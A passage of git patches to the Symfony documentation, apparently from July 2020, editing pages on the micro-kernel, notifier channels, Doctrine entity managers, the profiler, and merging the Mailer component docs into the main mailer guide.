-            # this creates a service per class whose id is the fully-qualified class name
-            App\:
-                resource: '../src/*'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-                <services>
-                    <!-- Default configuration for services in *this* file -->
-                    <defaults autowire="true" autoconfigure="true"/>
-
-                    <!-- makes classes in src/ available to be used as services -->
-                    <!-- this creates a service per class whose id is the fully-qualified class name -->
-                    <prototype namespace="App\" resource="../src/*"/>
-                </services>
-            </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator) {
-            // default configuration for services in *this* file
-            $services = $configurator->services()
-                ->defaults()
-                    ->autowire()      // Automatically injects dependencies in your services.
-                    ->autoconfigure() // Automatically registers your services as commands, event subscribers, etc.
-            ;
-
-            // makes classes in src/ available to be used as services
-            // this creates a service per class whose id is the fully-qualified class name
-            $services->load('App\\', '../src/*');
-        };
-
 Unlike the previous kernel, this loads an external ``config/framework.yaml`` file,
 because the configuration started to get bigger:
 
@@ -299,6 +248,7 @@ has one file in it::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class MicroController extends AbstractController
@@ -306,7 +256,7 @@ has one file in it::
         /**
          * @Route("/random/{limit}")
          */
-        public function randomNumber($limit)
+        public function randomNumber(int $limit): Response
         {
             $number = random_int(0, $limit);
 
@@ -381,7 +331,6 @@ As before you can use the :doc:`Symfony Local Web Server
 
 .. code-block:: terminal
 
-    cd public/
     $ symfony server:start
 
 Then visit the page in your browser: http://localhost:8000/random/10

From 02ee00b734d96aa7929012e8ad938d72d1c04d12 Mon Sep 17 00:00:00 2001
From: Thomas Trautner <thomas@trautner.net>
Date: Tue, 7 Jul 2020 10:18:53 +0200
Subject: [PATCH 0958/7107] Remove links to not existing channel pages

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 5e0b971827c..cc66c6f854d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -31,10 +31,10 @@ by using transports.
 
 The notifier component supports the following channels:
 
-* `SMS <SMS Channel>`_ sends notifications to phones via SMS messages
-* `Chat <Chat Channel>`_ sends notifications to chat services like Slack
+* SMS sends notifications to phones via SMS messages
+* Chat sends notifications to chat services like Slack
   and Telegram;
-* `Email <Email Channel>`_ integrates the :doc:`Symfony Mailer </mailer>`;
+* Email integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser uses :ref:`flash messages <flash-messages>`.
 
 .. tip::

From 9848b6ed5bada3a6ef8fc56c4a4219946b1f1d57 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Jul 2020 17:14:23 +0200
Subject: [PATCH 0959/7107] Added some links

---
 notifier.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index cc66c6f854d..4857a3a2d18 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -31,17 +31,19 @@ by using transports.
 
 The notifier component supports the following channels:
 
-* SMS sends notifications to phones via SMS messages
-* Chat sends notifications to chat services like Slack
-  and Telegram;
-* Email integrates the :doc:`Symfony Mailer </mailer>`;
-* Browser uses :ref:`flash messages <flash-messages>`.
+* :ref:`SMS channel <notifier-sms-channel>` sends notifications to phones via
+  SMS messages;
+* :ref:`Chat channel <notifier-chat-channel>` sends notifications to chat
+  services like Slack and Telegram;
+* :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
+* Browser channel uses :ref:`flash messages <flash-messages>`.
 
 .. tip::
 
     Use :doc:`secrets </configuration/secrets>` to securily store your
     API's tokens.
 
+.. _notifier-sms-channel:
 .. _notifier-texter-dsn:
 
 SMS Channel
@@ -109,6 +111,7 @@ configure the ``texter_transports``:
             ],
         ]);
 
+.. _notifier-chat-channel:
 .. _notifier-chatter-dsn:
 
 Chat Channel
@@ -174,6 +177,8 @@ Chatters are configured using the ``chatter_transports`` setting:
             ],
         ]);
 
+.. _notifier-email-channel:
+
 Email Channel
 ~~~~~~~~~~~~~
 
@@ -279,7 +284,7 @@ transport:
                         %env(SLACK_DSN)% || %env(TELEGRAM_DSN)%
                     </framework:chatter-transport>
 
-                    <!-- Send notifications to the next scheduled transport 
+                    <!-- Send notifications to the next scheduled transport
                          calculated by round robin -->
                     <framework:chatter-transport name="slack"><![CDATA[
                         %env(SLACK_DSN)% && %env(TELEGRAM_DSN)%

From 87767262a123feb8d9bbd0169d13d2631be599b2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Jul 2020 17:22:02 +0200
Subject: [PATCH 0960/7107] Updated some Docrine config changes for Symfony 5.1

---
 doctrine/multiple_entity_managers.rst | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 3cbfbd75eb3..38711b468c1 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -192,8 +192,8 @@ for each entity manager.
     the connection or entity manager, the default (i.e. ``default``) is used.
 
     If you use a different name than ``default`` for the default entity manager,
-    you will need to redefine the default entity manager in ``prod`` environment
-    configuration too:
+    you will need to redefine the default entity manager in the ``prod`` environment
+    configuration and in the Doctrine migrations configuration (if you use that):
 
     .. code-block:: yaml
 
@@ -204,6 +204,13 @@ for each entity manager.
 
         # ...
 
+    .. code-block:: yaml
+
+        # config/packages/doctrine_migrations.yaml
+        doctrine_migrations:
+            # ...
+            em: 'your default entity manager name'
+
 When working with multiple connections to create your databases:
 
 .. code-block:: terminal

From d5ebaa081ad67ba7df325c4b2251657d9d69a0ee Mon Sep 17 00:00:00 2001
From: Linas Linartas <linas@linartas.lt>
Date: Thu, 9 Jul 2020 08:14:12 +0300
Subject: [PATCH 0961/7107] [PropertyInfo] Update property_info.rst

Add missing `property_info.initializable_extractor` tag mention for custom extractors
---
 components/property_info.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/property_info.rst b/components/property_info.rst
index dce587e629e..e59a7557371 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -496,6 +496,7 @@ service by defining it as a service with one or more of the following
 * ``property_info.type_extractor`` if it provides type information.
 * ``property_info.description_extractor`` if it provides description information.
 * ``property_info.access_extractor`` if it provides access information.
+* ``property_info.initializable_extractor`` if it provides initializable information.
 
 .. _`phpDocumentor Reflection`: https://github.com/phpDocumentor/ReflectionDocBlock
 .. _`phpdocumentor/reflection-docblock`: https://packagist.org/packages/phpdocumentor/reflection-docblock

From 3a00035cc710add94a22c76d973b9bc400b44e5b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jul 2020 09:10:23 +0200
Subject: [PATCH 0962/7107] Tweak

---
 components/property_info.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index e59a7557371..1997cf757d2 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -496,7 +496,12 @@ service by defining it as a service with one or more of the following
 * ``property_info.type_extractor`` if it provides type information.
 * ``property_info.description_extractor`` if it provides description information.
 * ``property_info.access_extractor`` if it provides access information.
-* ``property_info.initializable_extractor`` if it provides initializable information.
+* ``property_info.initializable_extractor`` if it provides initializable information
+  (it checks if a property can be initialized through the constructor).
+
+.. versionadded:: 4.2
+
+    The ``property_info.initializable_extractor`` was introduced in Symfony 4.2.
 
 .. _`phpDocumentor Reflection`: https://github.com/phpDocumentor/ReflectionDocBlock
 .. _`phpdocumentor/reflection-docblock`: https://packagist.org/packages/phpdocumentor/reflection-docblock

From 8b1767fc8b74a6c5e6835ec30c583f3f14921131 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jul 2020 09:11:14 +0200
Subject: [PATCH 0963/7107] Removed the versionadded directive

---
 components/property_info.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index dd6cda0b742..44bfe2c9558 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -490,10 +490,6 @@ service by defining it as a service with one or more of the following
 * ``property_info.initializable_extractor`` if it provides initializable information
   (it checks if a property can be initialized through the constructor).
 
-.. versionadded:: 4.2
-
-    The ``property_info.initializable_extractor`` was introduced in Symfony 4.2.
-
 .. _`phpDocumentor Reflection`: https://github.com/phpDocumentor/ReflectionDocBlock
 .. _`phpdocumentor/reflection-docblock`: https://packagist.org/packages/phpdocumentor/reflection-docblock
 .. _`Doctrine ORM`: https://www.doctrine-project.org/projects/orm.html

From 1e2416a54fab87d4fe1fb26f7c7290afc4183cc2 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Wed, 8 Jul 2020 17:00:08 +0200
Subject: [PATCH 0964/7107] Improve profiler

---
 profiler.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index 6d9dafe60d8..bfe5eae5090 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -15,7 +15,7 @@ install the ``profiler`` :ref:`Symfony pack <symfony-packs>` before using it:
 
     $ composer require --dev symfony/profiler-pack
 
-Now browse any page of your application in the development environment to let
+Now, browse any page of your application in the development environment to let
 the profiler collect information. Then, click on any element of the debug
 toolbar injected at the bottom of your pages to open the web interface of the
 Symfony Profiler, which will look like this:
@@ -24,6 +24,13 @@ Symfony Profiler, which will look like this:
    :align: center
    :class: with-browser
 
+.. note::
+
+    The debug toolbar is only injected on HTML response.
+    In an API like project, profiler URL is available in the
+    `X-Debug-Token-Link` HTTP header of the response.
+    You can see all profiles by going to the ``/_profiler`` URL.
+
 Accessing Profiling Data Programmatically
 -----------------------------------------
 

From cc774afd7925e6218046b60627955ebaab93fc90 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jul 2020 11:29:19 +0200
Subject: [PATCH 0965/7107] Minor tweak

---
 profiler.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index bfe5eae5090..cb8ae679d99 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -26,10 +26,10 @@ Symfony Profiler, which will look like this:
 
 .. note::
 
-    The debug toolbar is only injected on HTML response.
-    In an API like project, profiler URL is available in the
-    `X-Debug-Token-Link` HTTP header of the response.
-    You can see all profiles by going to the ``/_profiler`` URL.
+    The debug toolbar is only injected into HTML responses. For other kinds of
+    contents (e.g. JSON responses in API requests) the profiler URL is available
+    in the ``X-Debug-Token-Link`` HTTP response header. Browse the ``/_profiler``
+    URL to see all profiles.
 
 Accessing Profiling Data Programmatically
 -----------------------------------------
@@ -213,7 +213,7 @@ event::
         if (!$this->getKernel()->isDebug()) {
             return;
         }
-        
+
         $request = $event->getRequest();
         if (!$request->isXmlHttpRequest()) {
             return;

From 225de942030bf0c0567f612bc43f0a09e1fdb80f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 8 Jul 2020 22:14:54 +0200
Subject: [PATCH 0966/7107] Removed Mailer component docs

---
 _build/conf.py           |   3 +-
 _build/redirection_map   |   1 +
 components/mailer.rst    | 206 --------------------------
 components/messenger.rst |   2 +-
 components/mime.rst      |   6 +-
 mailer.rst               | 313 +++++++++++++++++++++++++++++++++------
 6 files changed, 276 insertions(+), 255 deletions(-)
 delete mode 100644 components/mailer.rst

diff --git a/_build/conf.py b/_build/conf.py
index ffa92d30604..49cc12581ad 100644
--- a/_build/conf.py
+++ b/_build/conf.py
@@ -127,7 +127,8 @@
     'rst': 'reStructuredText',
     'varnish2': 'Varnish 2',
     'varnish3': 'Varnish 3',
-    'varnish4': 'Varnish 4'
+    'varnish4': 'Varnish 4',
+    'env': '.env'
 }
 
 # don't enable Sphinx Domains
diff --git a/_build/redirection_map b/_build/redirection_map
index 7ca4c8ffead..8b86b9c583f 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -505,3 +505,4 @@
 /components/class_loader https://github.com/symfony/class-loader
 /frontend/encore/versus-assetic /frontend
 /components/http_client /http_client
+/components/mailer /mailer
diff --git a/components/mailer.rst b/components/mailer.rst
deleted file mode 100644
index 30b8d146ab0..00000000000
--- a/components/mailer.rst
+++ /dev/null
@@ -1,206 +0,0 @@
-.. index::
-   single: Mailer
-   single: Components; Mailer
-
-The Mailer Component
-====================
-
-    The Mailer component helps sending emails.
-
-If you're using the Symfony Framework, read the
-:doc:`Symfony Framework Mailer documentation </mailer>`.
-
-.. versionadded:: 4.3
-
-    The Mailer component was introduced in Symfony 4.3.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/mailer
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-The Mailer component has two main classes: a ``Transport`` and the ``Mailer`` itself::
-
-    use Symfony\Component\Mailer\Mailer;
-    use Symfony\Component\Mailer\Transport\Smtp\EsmtpTransport;
-
-    $transport = new EsmtpTransport('localhost');
-    $mailer = new Mailer($transport);
-    $mailer->send($email);
-
-The ``$email`` object is created via the :doc:`Mime component </components/mime>`.
-
-Transport
----------
-
-The only transport that comes pre-installed is SMTP.
-
-Below is the list of other popular providers with built-in support:
-
-==================  =============================================
-Service             Install with
-==================  =============================================
-Amazon SES          ``composer require symfony/amazon-mailer``
-Gmail               ``composer require symfony/google-mailer``
-MailChimp           ``composer require symfony/mailchimp-mailer``
-Mailgun             ``composer require symfony/mailgun-mailer``
-Postmark            ``composer require symfony/postmark-mailer``
-SendGrid            ``composer require symfony/sendgrid-mailer``
-==================  =============================================
-
-For example, suppose you want to use Google's Gmail SMTP server. First, install
-it:
-
-.. code-block:: terminal
-
-    $ composer require symfony/google-mailer
-
-Then, use the SMTP Gmail transport::
-
-    use Symfony\Component\Mailer\Bridge\Google\Transport\GmailSmtpTransport;
-    use Symfony\Component\Mailer\Mailer;
-
-    $transport = new GmailSmtpTransport('user', 'pass');
-    $mailer = new Mailer($transport);
-    $mailer->send($email);
-
-Each provider provides up to 3 transports: standard SMTP, HTTP (it uses the
-provider's API but the body is created by the mailer component), API (it uses
-the full API of the provider with no control over the body creation -- features
-might be limited as well).
-
-.. _mailer_dsn:
-
-The mailer component provides a convenient way to create a transport from a
-DSN::
-
-    use Symfony\Component\Mailer\Transport;
-
-    $transport = Transport::fromDsn($dsn);
-
-Where ``$dsn`` depends on the provider you want to use. For plain SMTP, use
-``smtp://user:pass@example.com`` or ``sendmail+smtp://default`` to use the
-``sendmail`` binary. To disable the transport, use ``null://null``.
-
-For third-party providers, refer to the following table:
-
-==================== ========================================== =========================================== ========================================
- Provider             SMTP                                       HTTP                                        API
-==================== ========================================== =========================================== ========================================
- Amazon SES           ses+smtp://ACCESS_KEY:SECRET_KEY@default   ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
- Google Gmail         gmail+smtp://USERNAME:PASSWORD@default     n/a                                         n/a
- Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default  mandrill+https://KEY@default                mandrill+api://KEY@default
- Mailgun              mailgun+smtp://USERNAME:PASSWORD@default   mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
- Postmark             postmark+smtp://ID:ID@default              n/a                                         postmark+api://KEY@default
- Sendgrid             sendgrid+smtp://apikey:KEY@default         n/a                                         sendgrid+api://KEY@default
-==================== ========================================== =========================================== ========================================
-
-.. caution::
-
-    If your credentials contain special characters, you must URL-encode them.
-    For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
-    configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
-
-Instead of choosing a specific protocol, you can also let Symfony pick the
-best one by omitting it from the scheme: for instance, ``mailgun://KEY:DOMAIN@default``
-is equivalent to ``mailgun+https://KEY:DOMAIN@default``.
-
-If you want to override the default host for a provider (to debug an issue using
-a service like ``requestbin.com``), change ``default`` by your host:
-
-.. code-block:: bash
-
-    mailgun+https://KEY:DOMAIN@example.com
-    mailgun+https://KEY:DOMAIN@example.com:99
-
-Note that the protocol is *always* HTTPs and cannot be changed.
-
-High Availability
------------------
-
-Symfony's mailer supports `high availability`_ via a technique called "failover"
-to ensure that emails are sent even if one mailer server fails .
-
-A failover transport is configured with two or more transports and the
-``failover`` keyword::
-
-    $dsn = 'failover(postmark+api://ID@default sendgrid+smtp://KEY@default)';
-
-The mailer will start using the first transport. If the sending fails, the
-mailer won't retry it with the other transports, but it will switch to the next
-transport automatically for the following deliveries.
-
-Load Balancing
---------------
-
-Symfony's mailer supports `load balancing`_ via a technique called "round-robin"
-to distribute the mailing workload across multiple transports .
-
-A round-robin transport is configured with two or more transports and the
-``roundrobin`` keyword::
-
-    $dsn = 'roundrobin(postmark+api://ID@default sendgrid+smtp://KEY@default)'
-
-The mailer will start using the first transport and if it fails, it will retry
-the same delivery with the next transports until one of them succeeds (or until
-all of them fail).
-
-Sending emails asynchronously
------------------------------
-
-If you want to send emails asynchronously, install the :doc:`Messenger component
-</components/messenger>`.
-
-.. code-block:: terminal
-
-    $ composer require symfony/messenger
-
-Then, instantiate and pass a ``MessageBus`` as a second argument to ``Mailer``::
-
-    use Symfony\Component\Mailer\Envelope;
-    use Symfony\Component\Mailer\Mailer;
-    use Symfony\Component\Mailer\Messenger\MessageHandler;
-    use Symfony\Component\Mailer\Messenger\SendEmailMessage;
-    use Symfony\Component\Mailer\Transport;
-    use Symfony\Component\Messenger\Handler\HandlersLocator;
-    use Symfony\Component\Messenger\MessageBus;
-    use Symfony\Component\Messenger\Middleware\HandleMessageMiddleware;
-    use Symfony\Component\Mime\Address;
-
-    $dsn = 'change-dsn-accordingly';
-
-    $transport = Transport::fromDsn($dsn);
-    $handler = new MessageHandler($transport);
-
-    $bus = new MessageBus([
-        new HandleMessageMiddleware(new HandlersLocator([
-            SendEmailMessage::class => [$handler],
-        ])),
-    ]);
-
-    $mailer = new Mailer($transport, $bus);
-    $mailer->send($email);
-
-    // you can pass an optional Envelope
-    $mailer->send($email, new Envelope(
-        new Address('sender@example.com'),
-        [
-            new Address('recipient@example.com'),
-        ]
-    ));
-
-Learn More
------------
-
-To learn more about how to use the mailer component, refer to the
-:doc:`Symfony Framework Mailer documentation </mailer>`.
-
-.. _`high availability`: https://en.wikipedia.org/wiki/High_availability
-.. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
diff --git a/components/messenger.rst b/components/messenger.rst
index 0ade59dfe87..b0bcb785aa7 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -218,7 +218,7 @@ Your own Sender
 Imagine that you already have an ``ImportantAction`` message going through the
 message bus and being handled by a handler. Now, you also want to send this
 message as an email (using the :doc:`Mime </components/mime>` and
-:doc:`Mailer </components/mailer>` components).
+:doc:`Mailer </mailer>` components).
 
 Using the :class:`Symfony\\Component\\Messenger\\Transport\\Sender\\SenderInterface`,
 you can create your own message sender::
diff --git a/components/mime.rst b/components/mime.rst
index 0d29ca4458c..ce884a51193 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -61,11 +61,7 @@ methods to compose the entire email message::
     ;
 
 This only purpose of this component is to create the email messages. Use the
-:doc:`Mailer component </components/mailer>` to actually send them. In Symfony
-applications, it's easier to use the :doc:`Mailer integration </mailer>`.
-
-Most of the details about how to create Email objects, including Twig integration,
-can be found in the :doc:`Mailer documentation </mailer>`.
+:doc:`Mailer component </mailer>` to actually send them.
 
 Twig Integration
 ----------------
diff --git a/mailer.rst b/mailer.rst
index 97a3dca00d7..229964ce30e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -21,10 +21,10 @@ Transport Setup
 ---------------
 
 Emails are delivered via a "transport". Out of the box, you can deliver emails
-over ``SMTP`` by configuring your ``.env`` file (the ``user``, ``pass`` and
-``port`` parameters are optional):
+over SMTP by configuring the DNS in your ``.env`` file (the ``user``,
+``pass`` and ``port`` parameters are optional):
 
-.. code-block:: bash
+.. code-block:: env
 
     # .env
     MAILER_DSN=smtp://user:pass@smtp.example.com:port
@@ -61,7 +61,7 @@ use SendGrid. First, install it:
 
 You'll now have a new line in your ``.env`` file that you can uncomment:
 
-.. code-block:: bash
+.. code-block:: env
 
     # .env
     MAILER_DSN=sendgrid://KEY@default
@@ -79,22 +79,85 @@ also have options that can be configured with query parameters at the end of the
 sending via ``http``, ``api`` or ``smtp``. Symfony chooses the best available
 transport, but you can force to use one:
 
-.. code-block:: bash
+.. code-block:: env
 
     # .env
     # force to use SMTP instead of HTTP (which is the default)
     MAILER_DSN=sendgrid+smtp://$SENDGRID_KEY@default
 
+This table shows the full list of available DNS formats for each third
+party provider:
+
+==================== ========================================== =========================================== ========================================
+ Provider             SMTP                                       HTTP                                        API
+==================== ========================================== =========================================== ========================================
+ Amazon SES           ses+smtp://ACCESS_KEY:SECRET_KEY@default   ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
+ Google Gmail         gmail+smtp://USERNAME:PASSWORD@default     n/a                                         n/a
+ Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default  mandrill+https://KEY@default                mandrill+api://KEY@default
+ Mailgun              mailgun+smtp://USERNAME:PASSWORD@default   mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
+ Postmark             postmark+smtp://ID:ID@default              n/a                                         postmark+api://KEY@default
+ Sendgrid             sendgrid+smtp://apikey:KEY@default         n/a                                         sendgrid+api://KEY@default
+==================== ========================================== =========================================== ========================================
+
+.. caution::
+
+    If your credentials contain special characters, you must URL-encode them.
+    For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
+    configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
+
 .. tip::
 
-    Check the :ref:`DSN formats <mailer_dsn>` for all supported providers.
+    If you want to override the default host for a provider (to debug an issue using
+    a service like ``requestbin.com``), change ``default`` by your host:
+
+    .. code-block:: env
+
+        # .env
+        MAILER_DSN=mailgun+https://KEY:DOMAIN@example.com
+        MAILER_DSN=mailgun+https://KEY:DOMAIN@example.com:99
+
+    Note that the protocol is *always* HTTPs and cannot be changed.
+
+High Availability
+~~~~~~~~~~~~~~~~~
+
+Symfony's mailer supports `high availability`_ via a technique called "failover"
+to ensure that emails are sent even if one mailer server fails.
+
+A failover transport is configured with two or more transports and the
+``failover`` keyword:
+
+.. code-block:: env
+
+    MAILER_DSN="failover(postmark+api://ID@default sendgrid+smtp://KEY@default)"
+
+The mailer will start using the first transport. If the sending fails, the
+mailer won't retry it with the other transports, but it will switch to the next
+transport automatically for the following deliveries.
+
+Load Balancing
+~~~~~~~~~~~~~~
+
+Symfony's mailer supports `load balancing`_ via a technique called "round-robin"
+to distribute the mailing workload across multiple transports.
+
+A round-robin transport is configured with two or more transports and the
+``roundrobin`` keyword:
+
+.. code-block:: env
+
+    MAILER_DSN="roundrobin(postmark+api://ID@default sendgrid+smtp://KEY@default)"
+
+The mailer will start using the first transport and if it fails, it will retry
+the same delivery with the next transports until one of them succeeds (or until
+all of them fail).
 
 Creating & Sending Messages
 ---------------------------
 
-To send an email, autowire the mailer using
-:class:`Symfony\\Component\\Mailer\\MailerInterface` and create an
-:class:`Symfony\\Component\\Mime\\Email` object::
+To send an email, get a :class:`Symfony\\Component\\Mailer\\Mailer`
+instance by type-hinting :class:`Symfony\\Component\\Mailer\\MailerInterface`
+and create an :class:`Symfony\\Component\\Mime\\Email` object::
 
     // src/Controller/MailerController.php
     namespace App\Controller;
@@ -343,6 +406,9 @@ frameworks to create complex HTML email messages. First, make sure Twig is insta
 
     $ composer require symfony/twig-bundle
 
+    # or if you're using the component in a non-Symfony app:
+    # composer require symfony/twig-bridge
+
 HTML Content
 ~~~~~~~~~~~~
 
@@ -426,15 +492,46 @@ previous sections, when using Twig to render email contents you can refer to
 image files as usual. First, to simplify things, define a Twig namespace called
 ``images`` that points to whatever directory your images are stored in:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/twig.yaml
-    twig:
-        # ...
+    .. code-block:: yaml
+
+        # config/packages/twig.yaml
+        twig:
+            # ...
 
-        paths:
-            # point this wherever your images live
-            '%kernel.project_dir%/assets/images': images
+            paths:
+                # point this wherever your images live
+                '%kernel.project_dir%/assets/images': images
+
+    .. code-block:: xml
+
+        <!-- config/packages/twig.xml -->
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd">
+
+            <twig:config>
+                <!-- ... -->
+
+                <!-- point this wherever your images live -->
+                <twig:path namespace="images">%kernel.project_dir%/assets/images</twig:path>
+            </twig:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/twig.php
+        $container->loadFromExtension('twig', [
+            // ...
+            'paths' => [
+                // point this wherever your images live
+                '%kernel.project_dir%/assets/images' => 'images',
+            ],
+        ]);
 
 Now, use the special ``email.image()`` Twig helper to embed the images inside
 the email contents:
@@ -503,15 +600,46 @@ called ``css`` that points to the directory where ``email.css`` lives:
 
 .. _mailer-css-namespace:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
 
-    # config/packages/twig.yaml
-    twig:
-        # ...
+        # config/packages/twig.yaml
+        twig:
+            # ...
+
+            paths:
+                # point this wherever your css files live
+                '%kernel.project_dir%/assets/css': css
+
+    .. code-block:: xml
+
+        <!-- config/packages/twig.xml -->
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
-        paths:
-            # point this wherever your css files live
-            '%kernel.project_dir%/assets/css': css
+            <twig:config>
+                <!-- ... -->
+
+                <!-- point this wherever your css files live -->
+                <twig:path namespace="css">%kernel.project_dir%/assets/css</twig:path>
+            </twig:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/twig.php
+        $container->loadFromExtension('twig', [
+            // ...
+            'paths' => [
+                // point this wherever your css files live
+                '%kernel.project_dir%/assets/css' => 'css',
+            ],
+        ]);
 
 .. _mailer-markdown:
 
@@ -675,7 +803,7 @@ corresponding private key can read the original message contents::
     $encryptedEmail = $encrypter->encrypt($email);
     // now use the Mailer component to send this $encryptedEmail instead of the original email
 
-You can pass more than one certificate to the ``SMimeEncrypter()`` constructor
+You can pass more than one certificate to the ``SMimeEncrypter`` constructor
 and it will select the appropriate certificate depending on the ``To`` option::
 
     $firstEmail = (new Email())
@@ -708,14 +836,49 @@ You may want to use more than one mailer transport for delivery of your messages
 This can be configured by replacing the ``dsn`` configuration entry with a
 ``transports`` entry, like:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                transports:
+                    main: '%env(MAILER_DSN)%'
+                    alternative: '%env(MAILER_DSN_IMPORTANT)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-    # config/packages/mailer.yaml
-    framework:
-        mailer:
-            transports:
-                main: '%env(MAILER_DSN)%'
-                alternative: '%env(MAILER_DSN_IMPORTANT)%'
+            <!-- ... -->
+            <framework:config>
+                <framework:mailer>
+                    <framework:transport name="main">%env(MAILER_DSN)%</framework:transport>
+                    <framework:transport name="alternative">%env(MAILER_DSN_IMPORTANT)%</framework:transport>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        $container->loadFromExtension('framework', [
+            // ...
+            'mailer' => [
+                'transports' => [
+                    'main' => '%env(MAILER_DSN)%',
+                    'alternative' => '%env(MAILER_DSN_IMPORTANT)%',
+                ],
+            ],
+        ]);
 
 By default the first transport is used. The other transports can be used by
 adding a text header ``X-Transport`` to an email::
@@ -798,12 +961,41 @@ While developing (or testing), you may want to disable delivery of messages enti
 You can do this by forcing Mailer to use the ``NullTransport`` in only the ``dev``
 environment:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/dev/mailer.yaml
-    framework:
-        mailer:
-            dsn: 'null://null'
+    .. code-block:: yaml
+
+        # config/packages/dev/mailer.yaml
+        framework:
+            mailer:
+                dsn: 'null://null'
+
+    .. code-block:: xml
+
